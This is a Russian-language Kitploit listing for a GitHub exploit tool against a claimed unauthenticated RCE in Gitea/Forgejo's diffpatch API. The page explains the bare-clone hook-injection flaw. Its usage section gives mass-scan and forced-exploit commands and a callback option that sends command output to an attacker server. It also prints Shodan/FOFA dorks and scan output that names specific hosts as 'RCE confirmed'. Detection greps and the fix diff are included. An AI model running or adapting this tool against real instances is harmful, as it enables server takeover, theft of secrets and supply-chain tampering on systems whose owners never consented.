Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Голый клон → внедрение хука post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-60004
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхТестирование на ПроникновениеRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Голый клон → внедрение хука post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

Репозиторий
91 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-60004 — RCE в Gitea через Git-хук Diffpatch

Инъекция хука в bare-клон → post-index-change → Выполнение произвольных команд


Обзор

CVE-2026-60004 — критическая (CVSS 9.8) уязвимость удалённого выполнения кода без аутентификации в самохостинговых Git-платформах Gitea и Forgejo, затрагивающая версии с 1.17 по 1.27.0.

Уязвимость использует ошибку проектирования bare-клонирования в конечной точке API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea применяет предоставленные пользователем патчи внутри временного bare-клона, где корень репозитория — это сам $GIT_DIR. Отправляя один и тот же вредоносный патч дважды, злоумышленник вызывает конфликт add/add, из-за которого механизм трёхстороннего слияния Git (-3, Git 2.32+) записывает исполняемый хук post-index-change прямо в $GIT_DIR/hooks/. Git автоматически выполняет этот хук при обновлении индекса, что приводит к выполнению произвольных команд под учётной записью службы Gitea.

Требуется доступ на запись в репозиторий — его тривиально получить, поскольку по умолчанию Gitea использует открытую регистрацию без подтверждения email, одобрения администратора или ограничений на создание репозиториев.

Затронутые версии

ВерсияСтатус
< 1.17Не затронута (маршрут diffpatch ещё не введён)
1.17 — 1.27.0Уязвима
1.27.1+Исправлена

Обнаружил: Shai Rod (NightRang3r), 28 июля 2026 г. Проект: Gitea / Forgejo (самохостинговый Git-сервис) Компонент: конечная точка API diffpatch, временный bare-клон


Механизм уязвимости

Корневая причина

Уязвимость возникает из-за единственного параметра в файле services/repository/files/patch.go:

root@kitploit:~
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

В bare-клоне нет рабочего дерева — корень репозитория и есть $GIT_DIR. Поэтому вредоносный патч, путь файла которого — hooks/post-index-change, попадает прямо в настоящий каталог хуков Git, а не в изолированное рабочее дерево.

Усугубляет это вызов git apply:

root@kitploit:~
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Почему это работает

  1. Bare-клон не предоставляет песочницы — корень временного клона — это $GIT_DIR, поэтому путь hooks/post-index-change ведёт в настоящий каталог хуков.
  2. --cached не является надёжной защитой — резервный механизм трёхстороннего слияния -3 в Git 2.32+ записывает результаты слияния в рабочее дерево при конфликтах add/add, несмотря на флаг --cached.
  3. Двойная отправка вызывает конфликт — первое применение добавляет хук в индекс. Второе создаёт коллизию add/add, трёхстороннее слияние записывает файл на диск, и Git выполняет его.
  4. Git автоматически выполняет post-index-change — после обновления индекса Git безусловно запускает этот хук, если он существует и является исполняемым. Никакой настройки не требуется.
  5. Команды хука НЕ МОГУТ изменять индекс — git update-index внутри хука приводит к взаимоблокировке, поскольку git apply удерживает блокировку индекса. Для кражи вывода используйте HTTP-callback (curl) или reverse-shell.

Схема атаки

root@kitploit:~
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Проверенные ссылки на исходный код

Обнаружение по журналам сервера

root@kitploit:~
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Ключевой недостаток конструкции

Разница между bare- и обычным клоном — единственный булев параметр — определяет, станет ли путь из патча безвредной записью рабочего дерева или исполняемым хуком, попадающим прямо во внутренний каталог Git. Исправление меняет ровно один символ в диффе (true → false), поэтому коммит был помечен как "refactor: git patch apply" в разделе MISC, а не SECURITY. Операция, которая должна была быть изолирована в индексе (--cached), была молча сломана собственным механизмом трёхстороннего слияния Git, и никакая дополнительная защита не предотвращала создание файлов хуков в $GIT_DIR bare-клона.


Установка

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Использование

root@kitploit:~
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Аргументы

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Подтверждение концепции

Одиночная цель

root@kitploit:~
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

Массовое сканирование

root@kitploit:~
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

Вывод callback (автосохранение для каждой цели)

root@kitploit:~
callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

root@kitploit:~
FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

Влияние

Успешная эксплуатация даёт удалённое выполнение кода под учётной записью службы Gitea:

  • Извлечение конфигурации app.ini — учётные данные БД, SMTP-секреты, ключи OAuth-приложений, LFS/JWT-секреты
  • Доступ ко всем размещённым репозиториям, истории коммитов и LFS-объектам
  • Переход к внутренним сервисам, доступным с хоста Gitea (CI/CD, реестры пакетов, реестры контейнеров)
  • Развёртывание постоянных бэкдоров через SSH-ключи или теневые учётные записи администратора
  • Компрометация цепочки поставок ПО — внедрение бэкдоров в репозитории, обслуживаемые инстансом

Учётная запись на инстансе не требуется — регистрация открыта по умолчанию.


Исправление (1.27.1)

Gitea исправила уязвимость в версии 1.27.1 (коммит 470d34b):

  • изменение временного клона с bare на non-bare, чтобы пути файлов, контролируемые злоумышленником, попадали в рабочее дерево, а не напрямую в $GIT_DIR/hooks/
  • добавление предупреждающего комментария о том, что операции с флагом --index могут при определённых условиях взаимодействовать с рабочим деревом
  • добавление модульного теста (TestGitPatchPrepare), который проверяет, что временный клон не является bare, по наличию подкаталога .git
root@kitploit:~
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

Исправление попало в примечания к выпуску 1.27.1 в раздел MISC как "refactor: git patch apply", а не в раздел SECURITY, поэтому администраторы, просматривающие только записи журнала изменений, связанные с безопасностью, легко могут пропустить это критическое обновление. Тот же шаблон bare-клона в CherryPick также был исправлен.


Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.

Не применяйте против систем без явного разрешения владельца. Авторы не несут ответственности за неправомерное использование.


Ссылки

РесурсСсылка

Обнаружено Shai Rod (NightRang3r). Не связано с Gitea или Forgejo.

Скачать инструмент
ФайлСтрока(и)Назначение
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — создание bare-клона
services/repository/files/patch.go206-209git apply с флагами --index --cached -3
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — сохраняет состояние злоумышленника
services/repository/files/cherry_pick.go~170Тот же шаблон bare-клона в CherryPick (также исправлено)
Коммит с исправлением Gitea470d34b
ИсследовательNightRang3r
CWE-94Внедрение кода
Хук Gitpost-index-change